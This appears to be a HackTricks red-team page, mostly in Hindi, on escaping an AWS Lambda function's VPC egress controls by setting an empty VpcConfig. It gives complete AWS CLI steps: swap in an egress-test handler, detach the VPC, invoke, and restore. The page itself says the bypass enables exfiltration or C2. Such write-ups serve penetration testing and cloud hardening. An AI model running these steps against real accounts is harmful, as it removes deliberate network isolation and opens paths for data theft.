AWS Lambda – VPC Egress Bypass by Detaching VpcConfig

Reading time: 4 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

एक खाली VpcConfig (SubnetIds=[], SecurityGroupIds=[]) के साथ इसकी configuration अपडेट करके किसी प्रतिबंधित VPC से Lambda फ़ंक्शन को बाहर निकालें। फ़ंक्शन तब Lambda-प्रबंधित नेटवर्किंग प्लेन में चलेगा, आउटबाउंड इंटरनेट एक्सेस फिर से प्राप्त करेगा और NAT के बिना निजी VPC सबनेट्स द्वारा लागू किए गए egress नियंत्रणों को बायपास करेगा।

इसका दुरुपयोग

  • Pre-reqs: लक्ष्य फ़ंक्शन पर lambda:UpdateFunctionConfiguration (और सत्यापन के लिए lambda:InvokeFunction), साथ ही अगर आप code/handler बदल रहे हैं तो उन्हें अपडेट करने की permissions।
  • Assumptions: फ़ंक्शन वर्तमान में VpcConfig के साथ कॉन्फ़िगर है जो NAT के बिना निजी सबनेट्स की ओर इशारा करता है (इसलिए आउटबाउंड इंटरनेट ब्लॉक है)।
  • Region: us-east-1

चरण

  1. एक न्यूनतम handler तैयार करें जो साबित करे कि आउटबाउंड HTTP काम कर रहा है

cat > net.py <<'PY' import urllib.request, json

def lambda_handler(event, context): try: ip = urllib.request.urlopen('https://checkip.amazonaws.com', timeout=3).read().decode().strip() return {"egress": True, "ip": ip} except Exception as e: return {"egress": False, "err": str(e)} PY zip net.zip net.py aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true

  1. वर्तमान VPC config रिकॉर्ड करें (यदि आवश्यक हो तो बाद में restore करने के लिए)

aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json cat /tmp/orig-vpc.json

  1. खाली सूची सेट करके VPC को detach करें

aws lambda update-function-configuration
--function-name $TARGET_FN
--vpc-config SubnetIds=[],SecurityGroupIds=[]
--region $REGION until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done

  1. Invoke करें और आउटबाउंड एक्सेस सत्यापित करें

aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null cat /tmp/net-out.json

(Optional) मूल VPC config को पुनः स्थापित करें

if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json) aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION fi

प्रभाव

  • फ़ंक्शन से बिना प्रतिबंध के आउटबाउंड इंटरनेट पुनः प्राप्त होता है, जिससे data exfiltration या C2 संभव हो जाता है उन वर्कलोड्स से जिन्हें जानबूझकर निजी सबनेट्स (NAT के बिना) में अलग रखा गया था।

Example output (after detaching VpcConfig)

{"egress": true, "ip": "34.x.x.x"}

Cleanup

  • यदि आपने कोई अस्थायी code/handler परिवर्तन किए हैं, तो उन्हें restore करें।
  • वैकल्पिक रूप से /tmp/orig-vpc.json में सहेजा गया मूल VpcConfig ऊपर दिखाए गए तरीके से पुनः स्थापित करें।

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें